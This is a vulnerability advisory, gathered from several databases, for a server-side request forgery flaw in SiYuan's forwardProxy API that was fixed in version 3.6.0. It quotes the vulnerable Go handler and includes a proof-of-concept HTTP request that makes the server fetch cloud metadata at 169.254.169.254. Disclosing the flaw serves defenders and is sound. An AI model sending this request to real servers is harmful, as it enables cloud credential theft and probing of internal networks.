SiYuan has a Full-Read SSRF via /api/network/forwardProxy in github.com/siyuan-note/siyuan/kernel

Open Source Vulnerabilities CVE-2026-32110

SiYuan is a personal knowledge management system. Prior to 3.6.0, the /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. This vulnerability is fixed in 3.6.0.

Open Source Vulnerabilities GHSA-56cv-c5p2-j2wg

### Summary The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. ### Affected Code File: `/kernel/api/network.go` (Lines `153-317`) ``` func forwardProxy(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } destURL := arg["url"].(string) // VULNERABILITY: Only validates URL format, not destination if _, e := url.ParseRequestURI(destURL); nil != e { ret.Code = -1 ret.Msg = "invalid [url]" return } // ... HTTP request is made to user-controlled URL ... resp, err := request.Send(method, destURL) // Full response body is returned to the user bodyData, err := io.ReadAll(resp.Body) // ... ret.Data = data // Contains full response body } ``` ### PoC - First, authenticate with your access auth code and copy the authenticated cookie. - Now use the request below for SSRF to Access Cloud Metadata. ``` POST /api/network/forwardProxy HTTP/1.1 Host: <HOST> Cookie: siyuan=<COOKIE> Content-Length: 102 {"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}' ``` <img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" /> ### Impact - Internal Network Reconnaissance: Attackers can scan internal services - Cloud Credential Theft: Potential access to cloud metadata and IAM credentials - Data Exfiltration: Server can be used as a proxy to access internal resources - Firewall Bypass: Requests originate from trusted internal IP

Open Source Vulnerabilities GO-2026-4685

SiYuan has a Full-Read SSRF via /api/network/forwardProxy in github.com/siyuan-note/siyuan/kernel. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.0.